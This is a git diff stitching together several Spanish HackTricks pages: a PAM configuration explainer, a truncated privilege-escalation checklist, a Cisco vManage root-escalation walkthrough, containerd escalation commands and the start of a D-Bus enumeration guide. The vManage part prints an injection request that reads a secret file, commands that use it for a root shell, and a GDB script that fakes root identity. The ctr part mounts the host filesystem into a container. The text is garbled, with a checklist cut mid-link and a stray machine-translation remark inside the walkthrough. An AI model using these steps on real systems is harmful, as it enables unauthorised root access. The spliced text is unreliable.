Solaris y otros sistemas UNIX comerciales tienen un modelo de configuración ligeramente diferente, centrado en un único archivo, **`/etc/pam.conf`**. En la mayoría de los sistemas Linux, estos archivos de configuración se encuentran en **`/etc/pam.d`**, y se nombran según el servicio - por ejemplo, el archivo de configuración de "login" se llama **`/etc/pam.d/login`**. Echemos un vistazo rápido a una versión de ese archivo:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix_auth.so try_first_pass
|
||||
account sufficient /lib/security/pam_ldap.so
|
||||
account required /lib/security/pam_unix_acct.so
|
||||
password required /lib/security/pam_cracklib.so
|
||||
password required /lib/security/pam_ldap.so
|
||||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
## **Reinos de gestión de PAM**
|
||||
|
||||
La columna más a la izquierda contiene cuatro palabras únicas, que representan cuatro reinos de gestión de PAM: **auth**, **account**, **password** y **session**. Aunque hay muchos módulos que admiten más de uno de estos reinos \(de hecho, pam\_unix los admite todos\), otros, como pam\_cracklib, por ejemplo, solo son adecuados para uno \(en el caso de pam\_cracklib, la facilidad de 'password'\).
|
||||
|
||||
* **auth**: El reino 'auth' \(lo llamo reino - los documentos se refieren a él como un 'grupo de gestión' o 'facilidad'\) es responsable de verificar que el usuario es quien dice ser. Los módulos que se pueden listar en esta área **generalmente** admiten **solicitar una contraseña**.
|
||||
* **account**: Esta área es responsable de una amplia variedad de posibles funcionalidades de **verificación de cuenta**. Hay muchos módulos disponibles para esta facilidad. Las restricciones para el uso de un servicio basado en **verificar la pertenencia a un grupo**, la hora del día, si una cuenta de usuario es local o remota, etc., generalmente se hacen cumplir mediante módulos que admiten esta facilidad.
|
||||
* **password**: Los módulos en esta área son responsables de cualquier funcionalidad necesaria en el curso de **actualizar contraseñas** para un servicio determinado. La mayoría de las veces, esta sección es bastante "normal", simplemente llamando a un módulo que **solicitará una contraseña actual**, y, suponiendo que eso sea exitoso, le pedirá una nueva. También se pueden agregar otros módulos para realizar **comprobaciones de complejidad de contraseñas** o de diccionario, como los realizados por los módulos pam\_cracklib y pam\_pwcheck.
|
||||
* **session**: Los módulos en esta área realizan cualquier cantidad de cosas que suceden **durante la configuración o limpieza de un servicio** para un usuario determinado. Esto puede incluir cualquier cantidad de cosas; lanzar un script de inicialización en todo el sistema, realizar un registro especial, **montar el directorio de inicio del usuario**, o establecer límites de recursos.
|
||||
|
||||
## **Controles de módulo PAM**
|
||||
|
||||
La **columna central** contiene una palabra clave que esencialmente determina **qué debe hacer PAM si el módulo tiene éxito o falla**. Estas palabras clave se llaman 'controles' en el lenguaje de PAM. En el 90% de los casos, se puede usar una de las palabras clave comunes \(**requisite**, **required**, **sufficient** u **optional**\). Sin embargo, esto es solo la punta del iceberg en términos de liberar la flexibilidad y el poder de PAM.
|
||||
|
||||
* **required**: Si un módulo 'required' devuelve un estado que **no es 'éxito'**, la **operación siempre fallará**, pero solo después de que se invoquen los **módulos debajo de él**. Esto parece sin sentido a primera vista, supongo, pero sirve para **actuar siempre de la misma manera desde el punto de vista del usuario** que intenta utilizar el servicio. El efecto neto es que se vuelve **imposible** para un posible atacante **determinar qué módulo causó el fallo**.
|
||||
* **requisite**: Si un módulo 'requisite' falla, la **operación no solo falla**, sino que la operación se **termina inmediatamente** con un fallo sin invocar ningún otro módulo.
|
||||
* **sufficient**: Si un módulo **suficiente tiene éxito**, es suficiente para satisfacer los requisitos de los módulos suficientes en ese reino para el uso del servicio, y **los módulos debajo de él que también se enumeran como 'suficientes' no se invocan**. **Si falla, la operación falla a menos que un módulo invocado después de que tenga éxito**.
|
||||
* **optional**: Un módulo 'opcional', según la página del manual pam\(8\), **solo hará que una operación falle si es el único módulo en la pila para esa facilidad**.
|
||||
|
||||
## Ejemplo
|
||||
|
||||
En nuestro archivo de ejemplo, tenemos cuatro módulos apilados para el reino auth:
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix.so try_first_pass
|
||||
```
|
||||
Como los módulos se invocan en orden, esto es lo que sucederá:
|
||||
|
||||
1. El módulo '**pam_securetty**' verificará su archivo de configuración, **`/etc/securetty`**, y verá si el terminal que se está utilizando para este inicio de sesión está en la lista del archivo. Si **no lo está, no se permitirán los inicios de sesión de root**. Si intentas iniciar sesión como root en un terminal 'malo', este módulo fallará. Como es 'requerido', aún invocará todos los módulos en la pila. Sin embargo, incluso si todos ellos tienen éxito, el inicio de sesión fallará. Es interesante destacar que si el módulo se enumerara como 'requisito', la operación terminaría con un fallo inmediatamente, sin invocar ninguno de los otros módulos, sin importar cuál sea su estado.
|
||||
2. El módulo '**pam_env**' **establecerá variables de entorno** en función de lo que el administrador haya configurado en /etc/security/pam_env.conf. En una configuración predeterminada de Redhat 9, Fedora Core 1 y Mandrake 9.2, el archivo de configuración para este módulo en realidad no establece ninguna variable. Un buen uso para esto podría ser establecer automáticamente una variable de entorno DISPLAY para un usuario que inicie sesión a través de SSH para que no tenga que establecerla él mismo si desea enviar un 'xterm' de vuelta a su escritorio remoto (aunque esto puede ser manejado automáticamente por OpenSSH).
|
||||
3. El módulo '**pam_ldap**' **solicitará** al usuario una **contraseña** y luego verificará el directorio ldap indicado en **`/etc/ldap.conf`** para autenticar al usuario. Si esto falla, la operación aún puede tener éxito si 'pam_unix' tiene éxito en autenticar al usuario. Si pam_ldap tiene éxito, 'pam_unix' no se invocará.
|
||||
4. El módulo '**pam_unix**', en este caso, **no solicitará al usuario una contraseña**. El argumento 'try_first_pass' le indicará al módulo que **use la contraseña que le dio el módulo anterior** (en este caso, pam_ldap). Intentará autenticar al usuario utilizando las llamadas al sistema estándar getpw\*. Si pam_unix falla y pam_ldap ha fallado, la operación fallará. Si pam_ldap falla pero pam_unix tiene éxito, la operación tendrá éxito (¡esto es extremadamente útil en casos en los que root no está en el directorio ldap, pero aún está en el archivo local /etc/passwd!).
|
32
linux-hardening/linux-privilege-escalation-checklist.md
Normal file
32
linux-hardening/linux-privilege-escalation-checklist.md
Normal file
|
@ -0,0 +1,32 @@
|
|||
# Lista de verificación - Escalada de privilegios en Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
### **La mejor herramienta para buscar vectores de escalada de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Información del sistema](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] Obtener **información del SO**
|
||||
* [ ] Comprobar la [**ruta**](privilege-escalation/#path), ¿alguna carpeta **escribible**?
|
||||
* [ ] Comprobar las [**variables de entorno**](privilege-escalation/#env-info), ¿algún detalle sensible?
|
||||
* [ ] Buscar [**exploits del kernel**](privilege
|
1439
linux-hardening/privilege-escalation/README.md
Normal file
1439
linux-hardening/privilege-escalation/README.md
Normal file
File diff suppressed because it is too large
Load diff
167
linux-hardening/privilege-escalation/cisco-vmanage.md
Normal file
167
linux-hardening/privilege-escalation/cisco-vmanage.md
Normal file
|
@ -0,0 +1,167 @@
|
|||
## Cisco - vmanage
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Ruta 1
|
||||
|
||||
(Ejemplo de [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
||||
|
||||
Después de investigar un poco a través de alguna [documentación](http://66.218.245.39/doc/html/rn03re18.html) relacionada con `confd` y los diferentes binarios (accesibles con una cuenta en el sitio web de Cisco), encontramos que para autenticar el socket IPC, utiliza un secreto ubicado en `/etc/confd/confd_ipc_secret`:
|
||||
```
|
||||
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
||||
|
||||
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
||||
```
|
||||
Recuerda nuestra instancia de Neo4j? Está ejecutándose bajo los privilegios del usuario `vmanage`, lo que nos permite recuperar el archivo utilizando la vulnerabilidad anterior:
|
||||
```
|
||||
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
||||
|
||||
Host: vmanage-XXXXXX.viptela.net
|
||||
|
||||
|
||||
|
||||
[...]
|
||||
|
||||
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
||||
```
|
||||
El programa `confd_cli` no admite argumentos de línea de comandos, pero llama a `/usr/bin/confd_cli_user` con argumentos. Por lo tanto, podríamos llamar directamente a `/usr/bin/confd_cli_user` con nuestro propio conjunto de argumentos. Sin embargo, no es legible con nuestros privilegios actuales, por lo que tenemos que recuperarlo del rootfs y copiarlo usando scp, leer la ayuda y usarlo para obtener la shell:
|
||||
```
|
||||
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
||||
|
||||
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
|
||||
|
||||
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
|
||||
|
||||
Welcome to Viptela CLI
|
||||
|
||||
admin connected from 127.0.0.1 using console on vManage
|
||||
|
||||
vManage# vshell
|
||||
|
||||
vManage:~# id
|
||||
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## Ruta 2
|
||||
|
||||
(Ejemplo de [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
|
||||
El blog¹ del equipo synacktiv describió una forma elegante de obtener una shell de root, pero la advertencia es que requiere obtener una copia de `/usr/bin/confd_cli_user` que solo es legible por root. Encontré otra forma de escalar a root sin tanto problema.
|
||||
|
||||
Cuando desensamblé el binario `/usr/bin/confd_cli`, observé lo siguiente:
|
||||
```
|
||||
vmanage:~$ objdump -d /usr/bin/confd_cli
|
||||
… snipped …
|
||||
40165c: 48 89 c3 mov %rax,%rbx
|
||||
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
|
||||
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
|
||||
401669: 49 89 c4 mov %rax,%r12
|
||||
40166c: 48 85 db test %rbx,%rbx
|
||||
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
|
||||
401674: 48 0f 44 d8 cmove %rax,%rbx
|
||||
401678: 4d 85 e4 test %r12,%r12
|
||||
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
|
||||
401680: 4c 0f 44 e0 cmove %rax,%r12
|
||||
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
|
||||
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
|
||||
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
|
||||
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
|
||||
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
|
||||
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
|
||||
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
|
||||
4016ac: 48 85 c0 test %rax,%rax
|
||||
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
|
||||
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
|
||||
4016ba: 48 89 c6 mov %rax,%rsi
|
||||
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
|
||||
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
||||
… snipped …
|
||||
```
|
||||
Cuando ejecuto "ps aux", observo lo siguiente (_nota -g 100 -u 107_)
|
||||
```
|
||||
vmanage:~$ ps aux
|
||||
… snipped …
|
||||
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
||||
… snipped …
|
||||
```
|
||||
Hipoteticé que el programa "confd_cli" pasa el ID de usuario y el ID de grupo que recopiló del usuario conectado a la aplicación "cmdptywrapper".
|
||||
|
||||
Mi primer intento fue ejecutar directamente "cmdptywrapper" y suministrarle "-g 0 -u 0", pero falló. Parece que se creó un descriptor de archivo (-i 1015) en algún lugar del camino y no puedo falsificarlo.
|
||||
|
||||
Como se menciona en el blog de synacktiv (último ejemplo), el programa "confd_cli" no admite argumentos de línea de comandos, pero puedo influir en él con un depurador y afortunadamente GDB está incluido en el sistema.
|
||||
|
||||
Creé un script de GDB donde forcé a la API "getuid" y "getgid" a devolver 0. Como ya tengo el privilegio "vmanage" a través de la RCE de deserialización, tengo permiso para leer directamente el "/etc/confd/confd_ipc_secret".
|
||||
|
||||
root.gdb:
|
||||
```
|
||||
set environment USER=root
|
||||
define root
|
||||
finish
|
||||
set $rax=0
|
||||
continue
|
||||
end
|
||||
break getuid
|
||||
commands
|
||||
root
|
||||
end
|
||||
break getgid
|
||||
commands
|
||||
root
|
||||
end
|
||||
run
|
||||
```
|
||||
No console output was provided. Please provide the console output to be translated.
|
||||
```
|
||||
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
||||
GNU gdb (GDB) 8.0.1
|
||||
Copyright (C) 2017 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
||||
and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-poky-linux".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
<http://www.gnu.org/software/gdb/bugs/>.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
<http://www.gnu.org/software/gdb/documentation/>.
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
|
||||
Breakpoint 1 at 0x400f40
|
||||
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
||||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||||
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
|
||||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||||
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
||||
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
||||
0x0000000000401871 in ?? ()
|
||||
Welcome to Viptela CLI
|
||||
root connected from 127.0.0.1 using console on vmanage
|
||||
vmanage# vshell
|
||||
bash-4.4# whoami ; id
|
||||
root
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bash-4.4#
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,64 @@
|
|||
# Escalada de privilegios en Containerd (ctr)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Ve al siguiente enlace para aprender **qué es containerd** y `ctr`:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## PE 1
|
||||
|
||||
Si encuentras que un host contiene el comando `ctr`:
|
||||
```bash
|
||||
which ctr
|
||||
/usr/bin/ctr
|
||||
```
|
||||
Puedes listar las imágenes:
|
||||
```bash
|
||||
ctr image list
|
||||
REF TYPE DIGEST SIZE PLATFORMS LABELS
|
||||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
Y luego **ejecute una de esas imágenes montando la carpeta raíz del host en ella**:
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
## PE 2
|
||||
|
||||
Ejecutar un contenedor con privilegios y escapar de él.\
|
||||
Puedes ejecutar un contenedor con privilegios de la siguiente manera:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
Entonces, puedes utilizar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de las capacidades privilegiadas**:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,472 @@
|
|||
# Enumeración de D-Bus e inyección de comandos para la escalada de privilegios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Enumeración de GUI**
|
||||
|
||||
**(Esta información de enumeración fue tomada de** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)**
|
||||
|
||||
Ubuntu desktop utiliza D-Bus como su mediador de comunicaciones entre procesos (IPC). En Ubuntu, hay varios buses de mensajes que se ejecutan simultáneamente: un bus del sistema, que es utilizado principalmente por **servicios privilegiados para exponer servicios relevantes en todo el sistema**, y un bus de sesión para cada usuario que ha iniciado sesión, que expone servicios que solo son relevantes para ese usuario específico. Dado que intentaremos elevar nuestros privilegios, nos centraremos principalmente en el bus del sistema, ya que los servicios allí tienden a ejecutarse con mayores privilegios (es decir, root). Tenga en cuenta que la arquitectura de D-Bus utiliza un "enrutador" por bus de sesión, que redirige los mensajes del cliente a los servicios relevantes con los que intentan interactuar. Los clientes deben especificar la dirección del servicio al que desean enviar mensajes.
|
||||
|
||||
Cada servicio está definido por los **objetos** e **interfaces** que expone. Podemos pensar en los objetos como instancias de clases en lenguajes de programación orientados a objetos estándar. Cada instancia única se identifica por su **ruta de objeto** - una cadena que se asemeja a una ruta del sistema de archivos que identifica de manera única cada objeto que el servicio expone. Una interfaz estándar que ayudará con nuestra investigación es la interfaz **org.freedesktop.DBus.Introspectable**. Contiene un solo método, Introspect, que devuelve una representación XML de los métodos, señales y propiedades admitidos por el objeto. Esta publicación se centra en los métodos e ignora las propiedades y señales.
|
||||
|
||||
Usé dos herramientas para comunicarme con la interfaz D-Bus: una herramienta de línea de comandos llamada **gdbus**, que permite llamar fácilmente a los métodos expuestos por D-Bus en scripts, y [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), una herramienta GUI basada en Python que ayuda a enumerar los servicios disponibles en cada bus y a ver qué objetos contiene cada servicio.
|
||||
```bash
|
||||
sudo apt-get install d-feet
